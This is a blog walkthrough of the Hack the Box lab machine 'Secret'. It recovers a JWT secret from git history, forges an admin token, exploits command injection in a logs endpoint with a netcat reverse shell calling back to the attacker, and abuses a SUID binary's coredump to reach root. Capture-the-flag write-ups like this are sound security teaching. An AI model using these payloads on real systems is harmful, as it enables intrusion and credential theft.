Home HTB-Secret
Post
Cancel

HTB-Secret


categories: [Hack the Box] tags: [Secret] —

Target machine: 10.129.198.24
Attack machine:

Desktop View Secret from Hack the Box

Index

Enumerating

Let’s go, let’s go, let’s gooohoooo, let’s solve this secret!
As per tradition let’s start off with a good old Nmap TCP scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Documents/HacktheBox/secret]
└─$ sudo nmap -p22,80,3000 -sV -sC -T4 -Pn -oA 10.129.198.24 10.129.198.24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-17 06:58 EST
Nmap scan report for secret.htb (10.129.198.24)
Host is up (0.026s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds

We see SSH open on port 22, a website on port 80 and… well this is interesting, port 3000 which is also a website.

While browsing through the website I noticed it might be possible to register a user.

Desktop View Page of the website that shows how to register users

The website goes into detail on how to register and how to login, so let’s follow the steps described on the following page: http:\\<TARGET-IP>:3000/docs#section-3

Register user and Login

I used an intercepting proxy (e.g Burp Suite) to intercept the request from the front page of the website and send it to the repeater in Burp Suite.

Desktop View Get request front page

Next, I changed the request method to POST by right-clicking and choosing “Change request method”.

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 10.129.44.169:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"3248-nFUp1XavqYRgAFgHenjOsSPQ/e4"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Last but not least, I changed the filepath location and the POST body to look like the example shown on page /docs#section-3 of the website.

My final request looked like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/user/register HTTP/1.1
Host: 10.129.198.24:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Type: application/json
Content-Length: 90


{

	"name": "Ch1mp3y",
	"email": "test@test.nl",
	"password": "Ch1mp3y123!"
}

When forwarding the request in Burp Suite we can see that the user is registered

Desktop View The user is registered

Alright now that we are registered, it should be possible to login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/user/login  HTTP/1.1
Host: 10.129.198.24:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Type: application/json
Content-Length: 69

{

	"email": "test@test.nl",
	"password": "Ch1mp3y123!"

}

We received an authentication token, which means the login attempt was successful.

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoiQ2gxbXAzeSIsImVtYWlsIjoidGVzdEB0ZXN0Lm5sIiwiaWF0IjoxNjU3NTI4Nzk5fQ.Zf29Eo64ZVtZxyzuLP-bsraUX25ytTNU_lNJX6kTvR0
Content-Type: text/html; charset=utf-8
Content-Length: 203
ETag: W/"cb-f3OYk+ehyWOtQh4osqBwpHundr8"
Date: Mon, 11 Jul 2022 08:39:59 GMT
Connection: close

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoiQ2gxbXAzeSIsImVtYWlsIjoidGVzdEB0ZXN0Lm5sIiwiaWF0IjoxNjU3NTI4Nzk5fQ.Zf29Eo64ZVtZxyzuLP-bsraUX25ytTNU_lNJX6kTvR0

Desktop View Authenticated user

Well.. now what?! I am ashamed to admit this, but it took me way too long to notice the VERY big button on the front page saying source code.

Desktop View Source code

Let’s do a litte code review

Code Review

The index.js page shows us that there is a file called auth.

1
2
3
4
5
// import routes 
const authRoute = require('./routes/auth');
const webroute = require('./src/routes/web')

In auth.js we see the register endpoint and a login section which will check an account and then creates a JSON Web token. We saw this in action already in the above steps.

Register user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kalikali)-[~/…/HacktheBox/Secret/local-web/routes]
└─$ cat auth.js   
const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')

router.post('/register', async (req, res) => {

    // validation
    const { error } = registerValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if user exists
    const emailExist = await User.findOne({email:req.body.email})
    if (emailExist) return res.status(400).send('Email already Exist')

    // check if user name exist 
    const unameexist = await User.findOne({ name: req.body.name })
    if (unameexist) return res.status(400).send('Name already Exist')

    //hash the password
    const salt = await bcrypt.genSalt(10);
    const hashPaswrod = await bcrypt.hash(req.body.password, salt)


    //create a user 
    const user = new User({
        name: req.body.name,
        email: req.body.email,
        password:hashPaswrod
    });

    try{
        const saveduser = await user.save();
        res.send({ user: user.name})
    
    }
    catch(err){
        console.log(err)
    }

});

Login the user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// login 

router.post('/login', async  (req , res) => {

    const { error } = loginValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if email is okay 
    const user = await User.findOne({ email: req.body.email })
    if (!user) return res.status(400).send('Email is wrong');

    // check password 
    const validPass = await bcrypt.compare(req.body.password, user.password)
    if (!validPass) return res.status(400).send('Password is wrong');


    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});

module.exports = router                        

Moving on, I stumbled upon the private.js in the routes folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kalikali)-[~/…/HacktheBox/Secret/local-web/routes]
└─$ cat private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

The script shows us another endpoint called /priv, and even more interessting if the username equals theadmin and if we have the correct token, we can authenticate as the admin user.

So let’s see what else we got in the source code folders
I noticed a .git folder:

1
2
3
4
5
6
7
8
──(kali㉿kali)-[~/…/Other/HacktheBox/Secret/local-web]
└─$ ls -la
total 52
drwxr-xr-x   9 kali kali 4096 Jul 11 05:33 .
drwxr-xr-x   3 kali kali 4096 Jul 11 05:08 ..
-rw-r--r--   1 kali kali   72 Sep  3  2021 .env
drwxr-xr-x   8 kali kali 4096 Sep  8  2021 .git

We could extract the folder with gittools.

All you need to do is run the extractor.sh, set the filepath to the .git folder and set the path where you want to store the extracted git folders.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[/opt/tools/GitTools/Extractor]
└─$ ./extractor.sh /home/kali/Documents/Other/HacktheBox/Secret/local-web/ /home/kali/Documents/Other/HacktheBox/Secret/local-web/Extracted_git/                  1 ⨯
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[+] Found commit: 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
[+] Found file: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env
[+] Found file: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/index.js
[+] Found folder: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/model
[...]

Let’s go to the extracted git files:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/Extracted_git]
└─$ ls -la
total 100
drwxr-xr-x 8 kali kali  4096 Jul 11 05:33 .
drwxr-xr-x 9 kali kali  4096 Jul 11 05:33 ..
drwxr-xr-x 7 kali kali  4096 Jul 11 05:22 0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
drwxr-xr-x 7 kali kali  4096 Jul 11 05:23 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 kali kali  4096 Jul 11 05:25 2-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 7 kali kali  4096 Jul 11 05:26 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 kali kali  4096 Jul 11 05:27 4-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 kali kali  4096 Jul 11 05:28 5-3a367e735ee76569664bf7754eaaade7c735d702

Eventually I found a secret token in the .env file:

1
2
3
4
5
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/1-55fe756a29268f9b4e786ae468952ca4a8df1bd8]
└─$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
                                                                                                                                                        

So what do we have so far? We have an authentication token of our regular user, we have a name theadmin to authenticate as the admin user and we have a secret_token.

With all this information we can forge the JWT token.

Creating admin JWT token

I used the website jwt.io to change the authentication token of the regular user:

Desktop View JWT token of the regular user

Change the name of the regular user Ch1mpey to that of the admin user theadmin and add the secret token:

Desktop View JWT token of the admin user

Now that we have created a new token we can FINALLY make a request to /api/priv with the new token in the header.

1
2
3
4
5
6
7
8
9
10
GET /api/priv HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1

Success! We get a message back, saying Welcome back admin

Desktop View Authenticated as the admin user

Okay so now what? Well, remember /routes/private.js? There is more to it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

As we can see, we can make a GET request to /logs page and it requires a file parameter. You cannot tell me your fingers are not itching to see if the parameter is sanitized or not. ;)

Let me spoil the suprise because I am too excited, it is not sanitized! Yay!

Remote code execution

So if we send the following request:

1
2
3
4
5
6
7
8
9
10
GET /api/logs?file=;id HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1

The server will return the following:

1
2
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃
\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"

Now let’s try the following reverse shell:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR-IP> >/tmp/f

The request should look like the following, make sure there are no spaces:

1
2
3
4
5
6
7
8
9
10
GET /api/logs?file=;rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.32+53+>/tmp/f HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1

Before you send the request, do not forget to setup a listener.

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/Other/HacktheBox/Secret/local-web]
└─$ nc -nlvp 53              
listening on [any] 53 ...
connect to [10.10.14.32] from (UNKNOWN) [10.129.44.169] 46352
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
$ 

Now let’s get that sweet, sweet user flag:

1
2
3
4
5
6
7
8
9
10
$ cd /home
$ ls
dasith
$ cd dasith
$ ls
local-web
user.txt
$ cat user.txt
44b8b6[...]

Privilege escalation

We are almost there guys, so bear with me. After some enumeration, I noticed something interessting while checking the SUIDs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count

The /opt/count directory stands out by far, so let’s see what is in the opt directory:

1
2
3
4
5
6
7
8
9
dasith@secret:/opt$ ls -lah
ls -lah
total 56K
drwxr-xr-x  2 root root 4.0K Oct  7 10:06 .
drwxr-xr-x 20 root root 4.0K Oct  7 15:01 ..
-rw-r--r--  1 root root 3.7K Oct  7 10:01 code.c
-rw-r--r--  1 root root  16K Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root  18K Oct  7 10:03 count
-rw-r--r--  1 root root 4.6K Oct  7 10:04 valgrind.log

Before we take a closer look at the count script, let’s create a more stable shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Now let’s run the count script and see what happens:

1
2
3
4
5
6
7
8
9
10
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/root.txt
/root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y

It asked for a source file and it seems to count the characters, words and lines.

if we look at the source code in code.c

1
2
3
4
5
6
7
8
9
10
dasith@secret:/opt$ ls -la
ls -la
total 56
drwxr-xr-x  2 root root  4096 Oct  7  2021 .
drwxr-xr-x 20 root root  4096 Oct  7  2021 ..
-rw-r--r--  1 root root  3736 Oct  7  2021 code.c
-rw-r--r--  1 root root 16384 Oct  7  2021 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7  2021 count
-rw-r--r--  1 root root  4622 Oct  7  2021 valgrind.log

There is an interseting line:

1
2
// Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);

I found the following explanation here

1
2
3
4
5
 PR_SET_DUMPABLE (since Linux 2.3.20)
              Set the state of the "dumpable" attribute, which
              determines whether core dumps are produced for the calling
              process upon delivery of a signal whose default behavior
              is to produce a core dump.

So I guess we could try to crash the program and see what gets stored in coredump.

Coredump

What we could do is run the count program and setup a second shell to crash it. You can create a second shell via the same method we described above.

Run the count program with the first shell:

1
2
3
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/

Now let’s see in the second shell if the program is indeed running:

1
2
3
4
5
dasith@secret:~/local-web$ ps -aux | grep count
ps -aux | grep count
root         822  0.0  0.1 235668  7428 ?        Ssl  13:58   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      1936  0.0  0.0   2488   524 pts/0    S+   15:44   0:00 ./count
dasith      1938  0.0  0.0   6432   736 pts/1    S+   15:45   0:00 grep --color=auto count

Kill the process in the second shell:

1
2
dasith@secret:~/local-web$ kill -BUS 1936
kill -BUS 1936

Alrighty, run the count script again and see if the content of the root folder shows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/
/root/
-rw-r--r--  .viminfo
drwxr-xr-x  ..
-rw-r--r--  .bashrc
drwxr-xr-x  .local
drwxr-xr-x  snap
lrwxrwxrwx  .bash_history
drwx------  .config
drwxr-xr-x  .pm2
-rw-r--r--  .profile
drwxr-xr-x  .vim
drwx------  .
drwx------  .cache
-r--------  root.txt
drwxr-xr-x  .npm
drwx------  .ssh

Awesome! We see there is also an .ssh folder. This could be our way in. Let’s run the program again, but this time use the id_rsa.pub as source file:

1
2
3
4
5
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/.ssh/id_rsa
/root/.ssh/id_rsa.pub

Kill the process again in the second shell.
when the program crashed go to the coredump file and copy the contents to the /tmp/ folder

1
2
> cd /var/crash 
> apport-unpack _opt_count.1000.crash /tmp/test

Use strings so can we filter out any binary.
You will notice that the file contains the ssh key:

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfrMuWbtA4YZnK1QI7dI2lHm90N/E3OV+RTDiczD+EWWlE9opFuLcpRmwErKCg6/OaHNZhyzjXdQMmpQxaz6j07B6rS+LBDVAmZXDO+oWMU1LHNcRWiOagJ4/D7vA2vGK2Q+ua5WJY8ZAKi0EMJmafhY1s1PSRyx8D5vjEH5qbq3IO2GqN88meBE5/RnbqUDXHDQ6agJ3KG9DdrOVuRlnsRZ5O1D8Rhx1ih9rz+ZtD5qY5v1hqpYaIFqLr3DQfN/TqUHxzHwb4psY9w3Xvhrrrp1HAMWZut32dz0TZgaflpR8yS9tomip0dEcYI3Wsjvwnus9FpMLxpO4Ep7E9VVeEE7r57WG247fWscxMcAG3j7orjC/ti+ZfPcDHgchJx+ilWXt+62cRok98cF2DbnJduLyVp8oAZActmMP2+zISLnCqhU5hqVNcRdnA6uy2ndj3dUrHiQYYGqi8Eoy2VFqJz5hO/S9Nbd+Kz13toyoum64UwQfFNA/Kivf79oQeIss= root@localhost

Login via ssh with the obtained key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Documents/HacktheBox/secret]
└─$ sudo ssh root@10.129.217.241 -i id_rsa                                                                                                                       255 ⨯
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Nov 2021 03:47:38 PM UTC

  System load:  0.06              Processes:             225
  Usage of /:   52.6% of 8.79GB   Users logged in:       0
  Memory usage: 9%                IPv4 address for eth0: 10.129.217.241
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# id
uid=0(root) gid=0(root) groups=0(root)
root@secret:~# 

And there you have it, we are root!

See you on the next hacking adventure!

This post is licensed under CC BY 4.0 by the author.

HTB-Driver

HTB-Tentacle